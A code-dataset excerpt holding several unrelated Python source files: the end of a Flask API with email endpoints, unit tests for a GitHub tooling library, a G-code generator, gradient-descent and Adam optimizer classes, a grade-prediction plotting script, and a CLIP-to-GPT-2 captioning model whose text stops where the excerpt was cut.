arr.append(res)\n return arr\n\ninfo = api.namespace('info', description=\"Get the info in db\")\n@info.route('/', strict_slashes=False)\nclass Info(Resource):\n @info.param('id', \"The text id\")\n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument('id', type=str, required=True)\n args = parser.parse_args()\n id = args.get('id')\n if id is None:\n abort(400, 'Missing id')\n tuple = get_tuple(id)\n #print(tuple['text'])\n res = highlight(tuple['text'], tuple['language'])\n #print(res)\n return make_response(jsonify({\"res\": res}), 200)\n\ndef async_start(app, msg):\n with app.app_context():\n mail.send(msg)\n\n\ndef send_mail(to, pdf):\n msg = Message(\"Here's your syntax highlighted file!\", sender = 'comp6733asdf@gmail.com', recipients = [to])\n msg.attach(filename=\"file.pdf\", content_type='application/pdf', data=pdf)\n thread = Thread(target=async_start, args=[app, msg])\n thread.start()\n\n\ndef send_bug(to, text):\n msg = Message(\"Bug report\", sender = 'comp6733asdf@gmail.com', recipients = [to])\n msg.body = text\n thread = Thread(target=async_start, args=[app, msg])\n thread.start()\n\n\nemail = api.namespace('email', description=\"Email api\")\n@email.route(\"/\", strict_slashes=False)\nclass Email(Resource):\n def post(self):\n # receive the args: pdf file and target email\n parser = reqparse.RequestParser()\n parser.add_argument('pdf')\n parser.add_argument('email')\n args = parser.parse_args()\n pdf = args.get('pdf')\n email = args.get('email')\n pdf = base64.b64decode(pdf)\n send_mail(email, pdf)\n res = []\n return make_response(jsonify({\"res\": res}), 200)\n\n\nbugreport = api.namespace('bugreport', description=\"bugreport api\")\n@bugreport.route(\"/\", strict_slashes=False)\nclass Bugreport(Resource):\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument('text')\n args = parser.parse_args()\n text = args.get('text')\n email = 'comp6733asdf@gmail.com'\n send_bug(email, text)\n res = []\n return make_response(jsonify({\"res\": res}), 200)\n\n\n","repo_name":"shuoli-robotics/gate_detection","sub_path":"backend/API/file_handling.py","file_name":"file_handling.py","file_ext":"py","file_size_in_byte":10117,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32407238590","text":"'''\ntests for github_tools\n'''\nimport os\nimport json\nimport mock\nimport unittest\nimport subprocess\n\nfrom cirrus.github_tools import create_pull_request\nfrom cirrus.github_tools import current_branch_mark_status\nfrom cirrus.github_tools import get_releases\nfrom cirrus.github_tools import GitHubContext\nfrom git.exc import GitCommandError\nfrom .harnesses import _repo_directory\n\nclass GithubToolsTest(unittest.TestCase):\n \"\"\"\n _GithubToolsTest_\n \"\"\"\n def setUp(self):\n \"\"\"\n setup mocks\n \"\"\"\n self.owner = 'testorg'\n self.repo = 'testrepo'\n self.release = '0.0.0'\n self.commit_info = [\n {\n 'committer': 'bob',\n 'message': 'I made a commit!',\n 'date': '2014-08-28'},\n {\n 'committer': 'tom',\n 'message': 'toms commit',\n 'date': '2014-08-27'}]\n\n self.patch_get = mock.patch('cirrus.github_tools.requests.get')\n self.mock_get = self.patch_get.start()\n self.patch_environ = mock.patch.dict(os.environ,\n {\n 'HOME': 'unittest',\n 'USER': 'steve'\n }\n )\n self.patch_environ.start()\n self.gitconf_str = \"cirrus.credential-plugin=default\"\n self.patch_gitconfig = mock.patch('cirrus.gitconfig.shell_command')\n self.mock_gitconfig = self.patch_gitconfig.start()\n self.mock_gitconfig.return_value = self.gitconf_str\n\n def tearDown(self):\n \"\"\"\n teardown mocks\n \"\"\"\n self.patch_environ.stop()\n self.patch_get.stop()\n self.patch_gitconfig.stop()\n\n def test_create_pull_request(self):\n \"\"\"\n _test_create_pull_request_\n \"\"\"\n resp_json = {'html_url': 'https://github.com/{0}/{1}/pull/1'.format(self.owner, self.repo)}\n with mock.patch(\n 'cirrus.github_tools.load_configuration') as mock_config_load:\n\n mock_config_load.organisation_name.return_value = self.owner\n mock_config_load.package_name.return_value = self.repo\n with mock.patch(\n 'cirrus.github_tools.get_active_branch') as mock_get_branch:\n\n with mock.patch(\n 'cirrus.github_tools.requests.post') as mock_post:\n mock_resp = mock.Mock()\n mock_resp.raise_for_status.return_value = False\n mock_resp.json.return_value = resp_json\n mock_post.return_value = mock_resp\n\n with mock.patch(\n 'cirrus.github_tools.json.dumps') as mock_dumps:\n result = create_pull_request(\n self.repo,\n {'title': 'Test', 'body': 'This is a test'},\n 'token')\n self.failUnless(mock_config_load.called)\n self.failUnless(mock_get_branch.called)\n self.failUnless(mock_post.called)\n self.failUnless(mock_dumps.called)\n self.failUnlessEqual(result, resp_json['html_url'])\n\n def test_get_releases(self):\n \"\"\"\n _test_get_releases_\n \"\"\"\n resp_json = [\n {'tag_name': self.release}\n ]\n mock_req = mock.Mock()\n mock_req.raise_for_status.return_value = False\n mock_req.json.return_value = resp_json\n self.mock_get.return_value = mock_req\n result = get_releases(self.owner, self.repo, 'token')\n self.failUnless(self.mock_get.called)\n self.failUnless('tag_name' in result[0])\n\n @mock.patch('cirrus.github_tools.load_configuration')\n @mock.patch(\"cirrus.github_tools.requests.post\")\n @mock.patch(\"cirrus.github_tools.push\")\n def test_current_branch_mark_status(self, mock_push, mock_post, mock_config_load):\n \"\"\"\n _test_current_branch_mark_status_\n\n \"\"\"\n def check_post(url, headers, data):\n self.assertTrue(url.startswith(\"https://api.github.com/repos/\"))\n data = json.loads(data)\n self.assertEqual(data.get(\"state\"), \"success\")\n self.assertTrue(data.get(\"description\"))\n self.assertTrue(data.get(\"context\"))\n return mock.Mock()\n\n mock_post.side_effect = check_post\n\n mock_config_load.organisation_name.return_value = self.owner\n mock_config_load.package_name.return_value = self.repo\n\n current_branch_mark_status(_repo_directory(), \"success\")\n\n self.failUnless(mock_post.called)\n\n @mock.patch('cirrus.github_tools.git')\n def test_push_branch(self, mock_git):\n mock_repo = mock.Mock()\n mock_repo.active_branch = mock.Mock()\n mock_repo.active_branch.name = 'womp'\n mock_repo.head = \"HEAD\"\n mock_repo.git = mock.Mock()\n mock_repo.git.checkout = mock.Mock()\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n mock_repo.remotes = mock.Mock()\n mock_ret = mock.Mock()\n mock_ret.flags = 1000\n mock_ret.ERROR = 10000\n mock_ret.summary = \"SUMMARY\"\n mock_repo.remotes.origin = mock.Mock()\n mock_repo.remotes.origin.push = mock.Mock(return_value=[mock_ret])\n ghc = GitHubContext('REPO')\n\n ghc.push_branch('womp')\n self.failUnless(mock_repo.remotes.origin.push.called)\n mock_repo.remotes.origin.push.assert_has_calls([mock.call('HEAD')])\n\n mock_repo.remotes.origin.push = mock.Mock(side_effect=GitCommandError('A', 128))\n self.assertRaises(RuntimeError, ghc.push_branch, 'womp2')\n\n @mock.patch('cirrus.github_tools.git')\n @mock.patch('cirrus.github_tools.time.sleep')\n def test_push_branch_with_retry(self, mock_sleep, mock_git):\n mock_repo = mock.Mock()\n mock_repo.active_branch = mock.Mock()\n mock_repo.active_branch.name = 'womp'\n mock_repo.git = mock.Mock()\n mock_repo.git.checkout = mock.Mock()\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n mock_ret_f = mock.Mock()\n mock_ret_f.flags = 1\n mock_ret_f.ERROR = 0\n mock_ret_f.summary = \"mock failure summary\"\n mock_ret_ok = mock.Mock()\n mock_ret_ok.flags = 0\n mock_ret_ok.ERROR = 1\n mock_repo.remotes = mock.Mock()\n mock_repo.remotes.origin = mock.Mock()\n mock_repo.remotes.origin.push = mock.Mock(\n side_effect=[[mock_ret_f], [mock_ret_f], [mock_ret_ok]]\n )\n\n ghc = GitHubContext('REPO')\n\n ghc.push_branch_with_retry('womp', attempts=3, cooloff=2)\n self.assertEqual(mock_repo.remotes.origin.push.call_count, 3)\n\n mock_repo.remotes.origin.push = mock.Mock(side_effect=GitCommandError('B', 128))\n self.assertRaises(RuntimeError, ghc.push_branch_with_retry, 'womp', attempts=3, cooloff=2)\n\n @mock.patch('cirrus.github_tools.git')\n def test_tag_release(self, mock_git):\n \"\"\"test tag_release call\"\"\"\n mock_repo = mock.Mock()\n mock_repo.active_branch = mock.Mock()\n mock_repo.active_branch.name = 'master'\n mock_repo.git = mock.Mock()\n mock_repo.git.checkout = mock.Mock()\n mock_tag1 = mock.Mock()\n mock_tag1.name = '0.0.0'\n mock_tag2 = mock.Mock()\n mock_tag2.name = '0.0.1'\n mock_repo.tags = [\n mock_tag1, mock_tag2\n ]\n mock_repo.create_tag = mock.Mock()\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n mock_repo.remotes = mock.Mock()\n mock_repo.remotes.origin = mock.Mock()\n mock_repo.remotes.origin.push = mock.Mock()\n\n ghc = GitHubContext('REPO')\n ghc.tag_release('0.0.2', 'master', push=True, attempts=2, cooloff=0)\n\n self.failUnless(mock_repo.create_tag.called)\n self.failUnless(mock_repo.remotes.origin.push.called)\n\n @mock.patch('cirrus.github_tools.git')\n @mock.patch('cirrus.github_tools.time')\n def test_tag_release_retry(self, mock_time, mock_git):\n \"\"\"test repeated tries to push tags\"\"\"\n mock_repo = mock.Mock()\n mock_repo.active_branch = mock.Mock()\n mock_repo.active_branch.name = 'master'\n mock_repo.git = mock.Mock()\n mock_repo.git.checkout = mock.Mock()\n mock_tag1 = mock.Mock()\n mock_tag1.name = '0.0.0'\n mock_tag2 = mock.Mock()\n mock_tag2.name = '0.0.1'\n mock_repo.tags = [\n mock_tag1, mock_tag2\n ]\n mock_repo.create_tag = mock.Mock()\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n mock_repo.remotes = mock.Mock()\n mock_repo.remotes.origin = mock.Mock()\n mock_repo.remotes.origin.push = mock.Mock(\n side_effect=RuntimeError(\"push it real good\")\n )\n mock_time.sleep = mock.Mock()\n\n ghc = GitHubContext('REPO')\n self.assertRaises(\n RuntimeError,\n ghc.tag_release,\n '0.0.2',\n 'master',\n push=True,\n attempts=5,\n cooloff=0\n )\n self.assertEqual(mock_repo.remotes.origin.push.call_count, 5)\n self.assertEqual(mock_time.sleep.call_count, 5)\n self.failUnless(mock_repo.create_tag.called)\n\n @mock.patch('cirrus.github_tools.git')\n def test_merge_branch(self, mock_git):\n \"\"\"test merge branch\"\"\"\n mock_repo = mock.Mock()\n mock_repo.git = mock.Mock()\n mock_repo.git.merge = mock.Mock()\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n ghc = GitHubContext('REPO')\n ghc.merge_branch('develop')\n self.assertTrue(mock_repo.git.merge.called)\n\n @mock.patch('cirrus.github_tools.git')\n def test_merge_branch_conflict(self, mock_git):\n \"\"\"test merge branch\"\"\"\n mock_repo = mock.Mock()\n mock_repo.git = mock.Mock()\n mock_repo.git.merge = mock.Mock(side_effect=GitCommandError([\"git\", \"command\"], \"stdout\", \"stderr\"))\n mock_repo.active_branch = mock.Mock()\n mock_repo.active_branch.name = \"ACTIVE\"\n mock_repo.index = mock.Mock()\n mock_repo.index.unmerged_blobs = mock.Mock(\n return_value={'file1': [(1, \"BLOB1\")], 'file2': [(2, \"BLOB2\")]}\n )\n mock_git.Repo = mock.Mock(return_value=mock_repo)\n ghc = GitHubContext('REPO')\n self.assertRaises(GitCommandError, ghc.merge_branch, 'develop')\n\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"evansde77/cirrus","sub_path":"tests/unit/cirrus/github_tools_test.py","file_name":"github_tools_test.py","file_ext":"py","file_size_in_byte":10452,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"1651085870","text":"import sys\nimport math\n\nclass gcode:\n def __init__(self, out = None,\n spindle_speed = 10000,\n horizontal_feed_rate = 60,\n vertical_feed_rate = 30,\n tool_change_height = 30.0,\n rapid_move_height = 3.0,\n rapid_plunge_height = 0.5,\n mill_diameter = 1.0,\n split_arcs = 0.0):\n self._n = 0\n self._x = 0.0\n self._y = 0.0\n self._z = 0.0\n self._x_speed = 0.0\n self._y_speed = 0.0\n self._z_speed = 0.0\n self._gm = 0 # 0, 1, 2, 3\n self._f = 100\n self._milling_z = 0.0 # last Z in G1, G2 or G3\n\n self._distance = 0.0\n self._rapid_distance = 0.0\n self._rapid_time = 0.0\n self._mill_distance = 0.0\n self._mill_time = 0.0\n\n self._x_max_rate = 1000.0\n self._y_max_rate = 1000.0\n self._z_max_rate = 600.0\n\n self._x_max_acc = 30.0\n self._y_max_acc = 30.0\n self._z_max_acc = 30.0\n\n self._horizontal_feed_rate = horizontal_feed_rate\n self._vertical_feed_rate = vertical_feed_rate\n self._tool_change_height = tool_change_height\n self._rapid_move_height = rapid_move_height\n self._rapid_plunge_height = rapid_plunge_height\n\n self._split_arcs = split_arcs\n\n if out == None:\n out = sys.stdout\n\n self._out = out\n\n self.gcmd(\" \".join(sys.argv))\n self.G(94, c=\"Millimeters per minute feed rate\")\n self.G(21, c=\"Units == Millimeters\")\n self.G(90, c=\"Absolute coordinates\")\n self.G(0, S=spindle_speed, c=\"RPM spindle speed\")\n self.G(1, F=horizontal_feed_rate, c=\"Feedrate\")\n self.G(0, Z=tool_change_height, c=\"Retract to tool change height\")\n self.gcmd(T=0) # ?\n self.M(5, c=\"Spindle stop\")\n self.G(4, P=1.0, c=\"Wait for spindle to stop\")\n self.gcmd(\"MSG, Change tool bit to cutter diameter %gmm)\" % mill_diameter)\n # self.M(6, c=\"Tool change\")\n self.M(0, c=\"Temporary machine stop\")\n self.M(3, c=\"Spindle on clockwise\")\n self.G(4, P=1.0, c=\"Wait for spindle to get up to speed\")\n\n self.retract()\n\n def retract(self):\n self.G(0, Z=self._rapid_move_height, c='Retract')\n\n def plunge(self, Z=None):\n if Z == None:\n Z = self._milling_z\n\n if self._gm == 0 and self._z > Z + self._rapid_plunge_height:\n self.G(0, Z=Z + self._rapid_plunge_height, c='Rapid plunge')\n\n self.G(1, Z=Z, F=self._vertical_feed_rate, c=\"Plunge\")\n self.G(1, F=self._horizontal_feed_rate, c=\"Set milling feed rate\")\n\n def end(self):\n self.G(0, Z=self._tool_change_height, c=\"Retract\")\n self.M(5, c=\"Spindle off\")\n self.G(4, P=1.0, c=\"Wait for spindle to stop\")\n self.M(9, c=\"Coolant off\")\n self.M(2, c=\"Program end\")\n self.gcmd(\"end, rd=%g mm, rt=%g min, md=%g mm, mt=%g min\" % (\n self._rapid_distance, self._rapid_time,\n self._mill_distance, self._mill_time))\n #self._out.write(\"%\\n\")\n\n def distance_to(self, x, y):\n return math.sqrt( (x - self._x) ** 2 + (y - self._y) ** 2 )\n\n def G(self, code, **kwargs):\n kwargs['G'] = code\n self.gcmd(**kwargs)\n\n def M(self, code, **kwargs):\n kwargs['M'] = code\n self.gcmd(**kwargs)\n\n @staticmethod\n def v2str(v):\n v = \"%.4f\" % v\n return v.rstrip('0').rstrip('.')\n\n def gcmd(self, c=None, **kwargs):\n gm = kwargs.get('G', self._gm)\n self._f = kwargs.get('F', self._f)\n\n if gm in [0, 1, 2, 3]:\n self._gm = gm\n\n if 'X' in kwargs or 'Y' in kwargs or 'Z' in kwargs:\n x = self._x\n y = self._y\n z = self._z\n\n self._x = kwargs.get(\"X\", self._x)\n self._y = kwargs.get(\"Y\", self._y)\n self._z = kwargs.get(\"Z\", self._z)\n\n dx = self._x - x\n dy = self._y - y\n dz = self._z - z\n\n d = math.sqrt(dx ** 2 + dy ** 2 + dz ** 2)\n\n self._distance += d\n\n if self._gm == 0:\n self._rapid_distance += d\n self._rapid_time += max(abs(self._x - x) / self._x_max_rate,\n abs(self._y - y) / self._y_max_rate,\n abs(self._z - z) / self._z_max_rate)\n else:\n if self._gm == 2 or self._gm == 3:\n r = kwargs.get('R', None)\n if r is None:\n i = self._x + kwargs.get('I', 0)\n j = self._y + kwargs.get('J', 0)\n k = self._z + kwargs.get('K', 0)\n r = math.sqrt(i ** 2 + j ** 2 + k ** 2)\n a = 2.0 * math.asin(d / 2.0 / r)\n d = a * r\n\n self._mill_distance += d\n self._mill_time += (d / self._f)\n\n if self._gm != 0 and 'Z' in kwargs:\n self._milling_z = self._z\n\n args = []\n\n g = kwargs.pop('G', None)\n if g is not None:\n args.append('G' + gcode.v2str(g))\n\n args.extend([ n + gcode.v2str(v) for n,v in kwargs.items() ])\n\n if c:\n args.append(\"( \" + c + \" )\")\n\n # if not 'Z' in kwargs:\n # args.append(\"Z=\" + str(Z))\n # Z = Z + 0.1\n\n self._out.write(\" \".join( args ) + \"\\n\")\n self._n += 1\n\n","repo_name":"mar0x/midi_splitter","sub_path":"box/gcode.py","file_name":"gcode.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73706965313","text":"import numpy as np\nimport abc\nfrom ..core import Graph\nfrom ..core import Node, Variable\n\n\nclass Optimizer():\n \"\"\"\n 优化器基类\n \"\"\"\n def __init__(self, graph, target, learning_rate=0.01):\n \"\"\"\n 优化器构造函数接受计算图对象,目标节点对象以及学习率\n \"\"\"\n assert isinstance(graph, Graph) and isinstance(target, Node)\n self.graph = graph\n self.target = target\n self.learning_rate = learning_rate\n\n self.acc_gradient = dict()\n self.acc_no = 0 # 用来计数forward了多少次,一次一个样本,当acc_no等于bs时,重置\n\n def forward_backward(self):\n \"\"\"\n 前向传播计算结果节点的值并反向传播计算结果节点对各个节点的雅可比矩阵\n \"\"\"\n\n # 清除图中所有节点的雅可比矩阵\n self.graph.clear_jacobi()\n\n # 前向传播计算结果节点\n self.target.forward()\n\n # 反向传播计算雅可比矩阵\n for node in self.graph.nodes:\n if isinstance(node, Variable) and node.trainable:\n node.backward(self.target)\n\n # 最终结果(标量)对节点值的雅可比是一个行向量,其转置是梯度(列向量)\n # 这里将梯度reshape成与节点值相同的形状,好对节点值进行更新。\n # 若当前acc_no未达到指定bs,则梯度进行累加\n gradient = node.jacobi.T.reshape(node.shape())\n if node not in self.acc_gradient:\n self.acc_gradient[node] = gradient\n else:\n self.acc_gradient[node] += gradient\n \n def one_step(self):\n \"\"\"\n 计算并累计样本的梯度\n \"\"\"\n self.forward_backward()\n self.acc_no += 1\n \n def get_gradient(self, node):\n \"\"\"\n 返回梯度累加器的平均梯度\n \"\"\"\n assert node in self.acc_gradient\n return self.acc_gradient[node] / self.acc_no\n \n @abc.abstractmethod\n def _update(self):\n \"\"\"\n 抽象方法,执行具体的梯度更新算法,由子类实现\n \"\"\"\n \n def apply_gradients(self, node_gradients_dict, summarize=False, acc_no=None):\n \"\"\"\n TODO\n \"\"\"\n for node, gradient in node_gradients_dict.items():\n if isinstance(node, Node):\n pass\n else:\n target_node = get_node_from_graph(node)\n assert target_node is not None\n assert self.acc_gradient[target_node].shape == gradient.shape\n if summarize:\n self.acc_gradient[target_node] += gradient\n else:\n self.acc_gradient[target_node] = gradient\n\n if summarize:\n self.acc_no += acc_no\n else:\n if acc_no is None:\n # 传入的是平均梯度, 强制让acc_no变为1,避免梯度更新时重复平均\n self.acc_no = 1\n else:\n self.acc_no = acc_no\n\n def update(self, var_gradients=None):\n\n if var_gradients is not None:\n self.apply_gradients(var_gradients)\n\n # 执行更新\n self._update()\n\n # 清除累加梯度\n self.acc_gradient.clear()\n self.acc_no = 0\n \n\n \nclass GradientDescent(Optimizer):\n \"\"\"\n 梯度下降优化器\n \"\"\"\n def __init__(self, graph, target, learning_rate=0.01):\n Optimizer.__init__(self, graph, target)\n self.learning_rate = learning_rate\n \n def _update(self):\n for node in self.graph.nodes:\n if isinstance(node, Variable) and node.trainable:\n # 得到该节点在当前batch的梯度\n gradient = self.get_gradient(node)\n # 用朴素梯度下降法更新变量节点的值\n node.set_value(node.value - self.learning_rate * gradient)\n\nclass Adam(Optimizer):\n \"\"\"\n Adam优化器\n \"\"\"\n\n def __init__(self, graph, target, learning_rate=0.01, beta_1=0.9, beta_2=0.99):\n\n Optimizer.__init__(self, graph, target)\n self.learning_rate = learning_rate\n\n # 历史梯度衰减系数\n assert 0.0 < beta_1 < 1.0\n self.beta_1 = beta_1\n\n # 历史梯度各分量平方衰减系数\n assert 0.0 < beta_2 < 1.0\n self.beta_2 = beta_2\n\n # 历史梯度累积\n self.v = dict()\n\n # 历史梯度各分量平方累积\n self.s = dict()\n\n def _update(self):\n\n for node in self.graph.nodes:\n if isinstance(node, Variable) and node.trainable:\n\n # 取得该节��在当前批的平均梯度\n gradient = self.get_gradient(node)\n\n if node not in self.s:\n self.v[node] = gradient\n self.s[node] = np.power(gradient, 2)\n else:\n # 梯度累积\n self.v[node] = self.beta_1 * self.v[node] + \\\n (1 - self.beta_1) * gradient\n\n # 各分量平方累积\n self.s[node] = self.beta_2 * self.s[node] + \\\n (1 - self.beta_2) * np.power(gradient, 2)\n\n # 更新变量节点的值\n node.set_value(node.value - self.learning_rate *\n self.v[node] / np.sqrt(self.s[node] + 1e-10))\n\n\n","repo_name":"hanhanhanhanhana/tiny_brain","sub_path":"tinybrain/optimizer/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":5498,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7733724756","text":"import pickle\nimport plotly.express as px\nimport plotly.io as pio\n\nimport matplotlib.pyplot as plt\n\nimport pandas as pd\n\nfrom data_preparation import data_prep\n\nfrom params import main_filepath, filepath_datas, filename, columns_boolean, columns_categorical, columns_numerical, features_model, target, filepath_model, model_str, filepath_figures\n\ndef load_model(filepath_model, str_model):\n\n with open(filepath_model+ str_model+\".reg\", \"rb\") as f_out:\n model = pickle.load(f_out)\n\n return model\n\ndef use_model(df_preprocessed, model):\n\n y_pred = model.predict(df_preprocessed)\n\n return y_pred\n\ndef visualisation(df_student, y_test, y_pred, filepath_figures, filename_figure):\n\n # use plotly to create interactive graph using our datas and model\n\n y_tot = y_test.copy()\n y_tot['score'] = y_pred\n \n df_tot = y_tot.merge(df_student[['FirstName', 'FamilyName']], left_index = True, right_index = True)\n df_tot['Full_Name'] = df_tot['FirstName'] + ' ' + df_tot['FamilyName']\n\n fig = px.scatter(df_tot, x=\"FinalGrade\", y=\"score\", hover_name = \"Full_Name\")\n fig['layout']['xaxis']['autorange'] = \"reversed\"\n fig['layout']['yaxis']['autorange'] = \"reversed\"\n\n fig.update_traces(textposition='top center', marker= dict(color = 'blue'))\n fig.update_layout(\n height= 600,\n width = 1000,\n title_text=\"Score de prédiction en fonction de la note finale : plus le score est faible, plus il y a de l'intérêt à accompagner l'élève (axes inversés)\",\n )\n fig.update_layout({'plot_bgcolor': 'rgba(119, 181, 254, 255)'\n })\n \n fig.update_xaxes(showgrid=True, gridwidth=1, gridcolor='Black')\n fig.update_yaxes(showgrid=True, gridwidth=1, gridcolor='Black')\n fig.update_traces(marker_size=10)\n\n pio.write_image(fig, filepath_figures + filename_figure + '.png', format = 'png')\n\n return fig\n\nif __name__ == \"__main__\":\n\n df_student = pd.read_csv(filepath_datas + filename)\n\n df_preprocessed = data_prep(df_student, columns_boolean, columns_categorical)\n\n model = load_model(filepath_model, model_str)\n y_pred = use_model(df_preprocessed[features_model], model)\n\n y_test = df_preprocessed[target]\n\n plot = visualisation(df_student, y_test, y_pred, filepath_figures, model_str)\n","repo_name":"Krakmo/Technical_tests","sub_path":"data_science_test/src/load_best_model_and_visualisation.py","file_name":"load_best_model_and_visualisation.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9181243349","text":"from transformers import GPT2LMHeadModel \nfrom enum import Enum \nimport torch.nn as nn \nfrom torch.nn import functional as F\nimport torch\nfrom transformers.models import gpt2 \n\nclass MappingType(Enum):\n MLP = 'mlp'\n Transformer = 'transformer'\n\n\nclass MLP(nn.Module):\n def __init__(self, sizes, bias=True, act=nn.Tanh):\n super(MLP, self).__init__()\n layers = [] \n for i in range(len(sizes) - 1):\n layers.append(nn.Linear(sizes[i], sizes[i+1], bias=bias)) \n if i < len(sizes) - 2:\n layers.append(act()) \n self.model = nn.Sequential(*layers) \n \n def forward(self, x):\n return self.model(x) \n\n\nclass MlpTransformer(nn.Module):\n def __init__(self, in_dim, h_dim, out_d=None, act=F.relu, dropout=0.):\n super().__init__()\n out_d = out_d if out_d is not None else in_dim\n self.fc1 = nn.Linear(in_dim, h_dim)\n self.act = act\n self.fc2 = nn.Linear(h_dim, out_d)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x):\n x = self.fc1(x)\n x = self.act(x)\n x = self.dropout(x)\n x = self.fc2(x)\n x = self.dropout(x)\n return x\n\n\nclass MultiHeadAttention(nn.Module):\n\n def __init__(self, dim_self, dim_ref, num_heads, bias=True, dropout=0.):\n super().__init__()\n self.num_heads = num_heads\n head_dim = dim_self // num_heads\n self.scale = head_dim ** -0.5\n self.to_queries = nn.Linear(dim_self, dim_self, bias=bias)\n self.to_keys_values = nn.Linear(dim_ref, dim_self * 2, bias=bias)\n self.project = nn.Linear(dim_self, dim_self)\n self.dropout = nn.Dropout(dropout)\n\n def forward(self, x, y=None, mask=None):\n y = y if y is not None else x\n b, n, c = x.shape\n _, m, d = y.shape\n # b n h dh\n queries = self.to_queries(x).reshape(b, n, self.num_heads, c // self.num_heads)\n # b m 2 h dh\n keys_values = self.to_keys_values(y).reshape(b, m, 2, self.num_heads, c // self.num_heads)\n keys, values = keys_values[:, :, 0], keys_values[:, :, 1]\n attention = torch.einsum('bnhd,bmhd->bnmh', queries, keys) * self.scale\n if mask is not None:\n if mask.dim() == 2:\n mask = mask.unsqueeze(1)\n attention = attention.masked_fill(mask.unsqueeze(3), float(\"-inf\"))\n attention = attention.softmax(dim=2)\n out = torch.einsum('bnmh,bmhd->bnhd', attention, values).reshape(b, n, c)\n out = self.project(out)\n return out, attention\n\n\nclass TransformerLayer(nn.Module):\n\n def forward_with_attention(self, x, y=None, mask=None):\n x_, attention = self.attn(self.norm1(x), y, mask)\n x = x + x_\n x = x + self.mlp(self.norm2(x))\n return x, attention\n\n def forward(self, x, y=None, mask=None):\n x = x + self.attn(self.norm1(x), y, mask)[0]\n x = x + self.mlp(self.norm2(x))\n return x\n\n def __init__(self, dim_self, dim_ref, num_heads, mlp_ratio=4., bias=False, dropout=0., act=F.relu,\n norm_layer: nn.Module = nn.LayerNorm):\n super().__init__()\n self.norm1 = norm_layer(dim_self)\n self.attn = MultiHeadAttention(dim_self, dim_ref, num_heads, bias=bias, dropout=dropout)\n self.norm2 = norm_layer(dim_self)\n self.mlp = MlpTransformer(dim_self, int(dim_self * mlp_ratio), act=act, dropout=dropout)\n\n\nclass Transformer(nn.Module):\n\n def forward_with_attention(self, x, y=None, mask=None):\n attentions = []\n for layer in self.layers:\n x, att = layer.forward_with_attention(x, y, mask)\n attentions.append(att)\n return x, attentions\n\n def forward(self, x, y=None, mask=None):\n for i, layer in enumerate(self.layers):\n if i % 2 == 0 and self.enc_dec: # cross\n x = layer(x, y)\n elif self.enc_dec: # self\n x = layer(x, x, mask)\n else: # self or cross\n x = layer(x, y, mask)\n return x\n\n def __init__(self, dim_self, num_heads, num_layers, dim_ref=None,\n mlp_ratio=2., act=F.relu, norm_layer=nn.LayerNorm, enc_dec=False):\n super(Transformer, self).__init__()\n dim_ref = dim_ref if dim_ref is not None else dim_self\n self.enc_dec = enc_dec\n if enc_dec:\n num_layers = num_layers * 2\n layers = []\n for i in range(num_layers):\n if i % 2 == 0 and enc_dec: # cross\n layers.append(TransformerLayer(dim_self, dim_ref, num_heads, mlp_ratio, act=act, norm_layer=norm_layer))\n elif enc_dec: # self\n layers.append(TransformerLayer(dim_self, dim_self, num_heads, mlp_ratio, act=act, norm_layer=norm_layer))\n else: # self or cross\n layers.append(TransformerLayer(dim_self, dim_ref, num_heads, mlp_ratio, act=act, norm_layer=norm_layer))\n self.layers = nn.ModuleList(layers)\n\n\n\nclass TransformerMapper(nn.Module):\n\n def forward(self, x):\n x = self.linear(x).view(x.shape[0], self.img_length, -1)\n prefix = self.prefix_const.unsqueeze(0).expand(x.shape[0], *self.prefix_const.shape)\n prefix = torch.cat((x, prefix), dim=1)\n out = self.transformer(prefix)[:, self.img_length:]\n return out\n\n # dim_cilp = 512, dim_embedding = 768, \n def __init__(self, dim_clip, dim_embedding, img_length, clip_constant, num_layers):\n super(TransformerMapper, self).__init__()\n self.img_length = img_length\n self.transformer = Transformer(dim_embedding, 8, num_layers)\n self.linear = nn.Linear(dim_clip, clip_constant * dim_embedding)\n self.prefix_const = nn.Parameter(torch.randn(img_length, dim_embedding), requires_grad=True)\n\n\nclass ClipCaptionModel(nn.Module):\n\n def get_dummy_token(self, batch_size, device):\n return torch.zeros(batch_size, self.img_length, dtype=torch.int64, device=device)\n\n def forward(self, tokens, clip_feature, mask=None, labels=None):\n embedding_text = self.gpt.transformer.wte(tokens)\n clip_projections = self.clip_project(clip_feature).view(-1, self.img_length, self.gpt_embedding_size)\n embedding_cat = torch.cat((clip_projections, embedding_text), dim=1)\n if labels is not None:\n dummy_token = self.get_dummy_token(tokens.shape[0], tokens.device)\n labels = torch.cat((dummy_token, tokens), dim=1)\n out = self.gpt(inputs_embeds=embedding_cat, labels=labels, attention_mask=mask)\n return out\n\n def __init__(self, img_length=10, clip_constant=10, clip_size=512, num_layers=12, mapping_type=MappingType.MLP):\n super(ClipCaptionModel, self).__init__()\n self.img_length = img_length\n self.gpt = GPT2LMHeadModel.from_pretrained('./ckpt/gpt2')\n self.gpt_embedding_size = self.gpt.transformer.wte.weight.shape[1] # 768 \n \n if mapping_type == MappingType.MLP:\n self.clip_project = MLP((clip_size, (self.gpt_embedding_size * img_length) // 2,\n self.gpt_embedding_size * img_length))\n else:\n self.clip_project = TransformerMapper(clip_size, self.gpt_embedding_size, img_length,\n clip_constant, num_layers)\n\n\n# train only the image module\nclass ClipCaptioner(ClipCaptionModel):\n\n def parameters(self, recurse=True):\n return self.clip_project.parameters()\n\n def train(self, mode=True):\n 